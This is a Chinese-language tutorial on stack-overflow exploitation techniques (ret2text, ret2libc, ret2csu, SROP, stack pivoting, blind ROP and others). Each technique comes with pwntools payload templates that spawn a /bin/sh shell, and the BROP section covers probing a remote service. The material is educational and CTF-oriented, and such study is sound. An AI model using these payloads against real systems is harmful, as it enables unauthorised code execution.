1. ret2text:最简单的跳转
这是最基础的栈溢出利用方式。 适用场景:程序中本身就包含后门函数(如直接调用 system("/bin/sh") 的函数)或者敏感指令。 攻击逻辑:
计算栈溢出偏移量。
直接将返回地址(Return Address)覆盖为程序中已有的后门函数地址。
程序函数返回时,直接跳转到后门执行。
Python
from pwn import *
# io = process('./pwn')
target_addr = 0x0804863A # 假设这是通过 IDA 找到的后门函数地址
offset = 112 # 假设这是计算出的溢出偏移
payload = flat([
b'A' * offset,
target_addr
])
# io.sendline(payload)
# io.interactive()
2. ret2shellcode:手动写入指令
适用场景:程序未开启 NX 保护(堆栈可执行),且我们能够向某个可控内存区域(如栈或bss段)写入数据。 攻击逻辑:
构造一段 Shellcode(机器码)。
利用栈溢出将返回地址覆盖为存储 Shellcode 的内存地址。
程序跳转执行 Shellcode。 注意:在 ASLR 开启时,栈地址会变动,通常需要结合
jmp esp或寄存器泄露来定位 Shellcode。
Python
from pwn import *
context(arch='i386', os='linux') # 设置架构,用于生成 shellcode
# io = process('./pwn')
shellcode = asm(shellcraft.sh()) # 自动生成获取 shell 的汇编代码
buf_addr = 0xffffce00 # 假设这是通过调试确定的 buf 地址
payload = flat([
shellcode, # 先放入 shellcode
b'A' * (112 - len(shellcode)), # 填充剩余空间
buf_addr # 覆盖返回地址指向 buf 开头
])
# io.sendline(payload)
3. ret2syscall:静态编译的利器
适用场景:程序是静态编译的(没有 system 函数,也没有 libc 库),或者开启了 NX 保护。 攻击逻辑: 利用程序自带的 Gadgets(代码片段),手动构造系统调用(System Call)。在 Linux x86 中,需要满足以下寄存器状态来触发 execve("/bin/sh", 0, 0):
EAX = 0xb (11,即 execve 的系统调用号)
EBX = "/bin/sh" 的地址
ECX = 0
EDX = 0
最后执行
int 0x80指令。
Python
from pwn import *
# io = process('./pwn')
# ROPgadget --binary pwn --only "pop|ret|int" 查找 gadget
pop_eax_ret = 0x080xx...
pop_edx_ecx_ebx_ret = 0x080xx...
int_0x80 = 0x080xx...
binsh_addr = 0x080xx... # 数据段中写入的 /bin/sh 地址
payload = flat([
b'A' * offset,
pop_eax_ret, 0xb, # 设置 EAX = 11
pop_edx_ecx_ebx_ret, 0, 0, binsh_addr, # 设置 EDX=0, ECX=0, EBX='/bin/sh'
int_0x80 # 触发中断
])
4. ret2libc:动态链接的标准打法
适用场景:最常见的场景。程序开启 NX,动态链接 libc 库。 攻击逻辑:
泄露(Leak):利用
puts或write输出 GOT 表中已解析函数的真实地址。计算:
LibcBase = Leaked_Addr - Offset。构造:
System_Addr = LibcBase + System_Offset。再次溢出:返回到
system函数并传入/bin/sh。
Python
from pwn import *
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# 1. 构造 ROP 泄露地址
pop_rdi = 0x4006c3 # pop rdi; ret
payload1 = flat([
b'A' * offset,
pop_rdi, elf.got['puts'], # rdi = puts_got
elf.plt['puts'], # 调用 puts
elf.symbols['main'] # 返回 main
])
# io.sendline(payload1)
# leaked_addr = u64(io.recv(6).ljust(8, b'\x00'))
# 2. 计算并再次攻击
libc.address = leaked_addr - libc.symbols['puts']
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))
payload2 = flat([
b'A' * offset,
pop_rdi, binsh_addr,
system_addr
])4. ret2csu:x64 下的万能 Gadget
适用场景:在 64 位程序中,我们需要利用寄存器传递参数(RDI, RSI, RDX)。但有时程序很小,找不到像 pop rdx; ret 这样的 Gadget。 核心原理: 几乎所有动态链接的 64 位 Linux 程序都会调用 __libc_csu_init 函数来进行初始化。该函数内部有两段非常有用的汇编代码(Gadgets):
Gadget 1 (POP 链):将栈上的数据弹出到
rbx, rbp, r12, r13, r14, r15寄存器。Gadget 2 (MOV/CALL 链):将
r13, r14, r15的值移动到edi, rsi, rdx(即前三个参数寄存器),并调用[r12 + rbx*8]指向的函数。
通过精心构造栈布局,我们可以利用这两个 Gadget 控制前三个参数并调用任意函数。
Python
from pwn import *
elf = ELF('./pwn')
# Gadget 1: pop rbx, rbp, r12, r13, r14, r15; ret
csu_pop_addr = 0x40061a
# Gadget 2: mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
csu_mov_addr = 0x400600
def csu(rbx, rbp, r12, r13, r14, r15, ret_addr):
payload = flat([
csu_pop_addr, # 跳转到 Gadget 1
rbx, # usually 0 (for loop control)
rbp, # usually 1 (to pass check: cmp rbx, rbp)
r12, # Function Pointer (call target)
r13, # -> RDI (Arg1)
r14, # -> RSI (Arg2)
r15, # -> RDX (Arg3)
csu_mov_addr, # 跳转到 Gadget 2
b'A' * 56, # 填充栈平衡 (Gadget 2 执行后会做一系列 pop)
ret_addr # 返回地址
])
return payload
# 示例:利用 write(1, write_got, 8) 泄露地址
# 注意:r12 必须是一个指向函数地址的指针(如 GOT 表地址),不能是直接的函数地址
payload = b'A' * offset
payload += csu(0, 1, elf.got['write'], 1, elf.got['write'], 8, elf.symbols['main'])
# io.sendline(payload)
5. Stack Migration (栈迁移):空间换取时间
适用场景:存在栈溢出漏洞,但是可溢出的字节数非常少(例如只能覆盖返回地址和几十个字节),无法容纳完整的 ROP 链。 核心原理: 利用 leave; ret 指令劫持栈指针(ESP/RSP)。
leave等价于mov esp, ebp; pop ebp。我们可以修改栈上的 EBP 为一个我们可控的内存地址(如 .bss 段或 Heap),然后执行
leave; ret。这会将 ESP 转移到我们要去的地方(Fake Stack),然后在那里执行我们在那里预先布置好的长 ROP 链。
Python
from pwn import *
# 假设我们需要迁移到 .bss 段的一个固定地址
bss_addr = 0x0804a000
leave_ret = 0x08048458 # gadget
# 第一步:往目标区域(如 bss)写入真正的 ROP 链
# 假设我们可以通过 read 输入两次,第一次写 payload 到 bss
payload_rop = flat([
func_plt, # 真正的攻击链
func_ret,
func_args
])
# io.send(payload_rop)
# 第二步:栈迁移
# 覆盖 EBP 为 (目标地址 - 4),覆盖 Ret Addr 为 leave_ret
payload_migration = flat([
b'A' * offset, # 填充到 EBP 前
bss_addr - 4, # Fake EBP (leave 会 pop 这里的地址给 ebp,虽然这步不关键,关键是 esp 变了)
leave_ret # 劫持 ESP 到 bss_addr
])
# io.send(payload_migration)
6. SROP (Sigreturn ROP):一次性控制所有寄存器
适用场景:系统调用极其便利,或者严重缺乏 Gadget。需要程序中存在 syscall 且能控制 rax 为 15 (x64) 或 119 (x86)。 核心原理: 利用 Linux 的信号处理机制。当信号处理函数返回时,内核会调用 sigreturn 系统调用,它会将栈上的数据(Sigcontext 结构体)全部恢复到 CPU 寄存器中。
攻击者在栈上伪造一个 Sigcontext 结构体。
触发
sigreturn系统调用。CPU 将按照我们的设定,一次性更新 RIP, RSP, RDI, RSI, RDX... 等所有寄存器,从而直接完成
execve("/bin/sh",0,0)。
Python
from pwn import *
context.arch = 'amd64' # 必须指定架构
elf = ELF('./pwn')
syscall_ret = 0x40053b # 寻找 syscall gadget
# 1. 构造 Sigreturn Frame
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = 0x400600 # /bin/sh 地址
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret # 执行完 sigreturn 后,rip 指向 syscall 指令执行 execve
# 2. 触发 sigreturn
# 前提:需要想办法让 RAX = 15,然后调用 syscall
# 这里假设我们可以通过 read 读取 15 字节来控制 RAX 返回值,然后栈溢出跳转到 syscall
payload = flat([
b'A' * offset,
syscall_ret, # 第一次 syscall,触发 sigreturn
bytes(frame) # 伪造的栈帧
])
# io.sendline(payload)
7. ret2reg:动态地址的盲跳
适用场景:ASLR 开启,栈地址随机,但我们注入的 Shellcode 刚好被某个寄存器(如 RAX, RCX)指向。 核心原理: 不使用硬编码的地址覆盖返回地址,而是寻找 call register 或 jmp register(如 call eax, jmp esp)这样的指令地址。 将返回地址覆盖为该指令的地址,程序返回时执行 jmp eax,直接跳到寄存器指向的 Shellcode 处执行。
Python
from pwn import *
# io = process('./pwn')
# 假设通过调试发现 shellcode 存放在栈上,且函数返回时 EAX 指向 shellcode 开头
call_eax = 0x08048321 # ROPgadget 找到的地址
shellcode = asm(shellcraft.sh())
payload = flat([
shellcode,
b'A' * (offset - len(shellcode)),
call_eax # 覆盖返回地址,跳转到 call eax
])
8. BROP (Blind ROP):盲打
适用场景:无二进制文件,只有远程服务 IP 和端口,且 Web Server 会在崩溃后重启(Fork 模式)。 攻击逻辑: 这是一个复杂的探测过程,像瞎子摸象一样还原程序结构。
爆破栈溢出长度:逐字节增加输入,直到连接中断(Crash),确定 Offset。
寻找 Stop Gadget:寻找一个地址,使得程序不崩溃并正常挂起(通常是主循环或 sleep),以此作为“信标”。
寻找 BROP Gadget:利用 Stop Gadget 作为返回判断,扫描出
pop rdi; ret等通用 Gadget(通常是扫描__libc_csu_init)。Dump 内存:利用
write或puts将程序内存打印出来,还原二进制文件。常规 ROP:有了 Binary 后,就转变为常规的 ret2libc。
Python
def check_stop_gadget(addr):
payload = b'A' * offset + p64(addr)
try:
io.send(payload)
io.recvline(timeout=1) # 如果没有崩且有回显/保持连接
return True
except:
return False
# 1. 爆破 Canary (如果存在) - 逐字节爆破
# 2. 扫描 Stop Gadget (从 0x400000 开始扫 text 段)
addr = 0x400000
while True:
if check_stop_gadget(addr):
print(f"Found stop gadget: {hex(addr)}")
break
addr += 1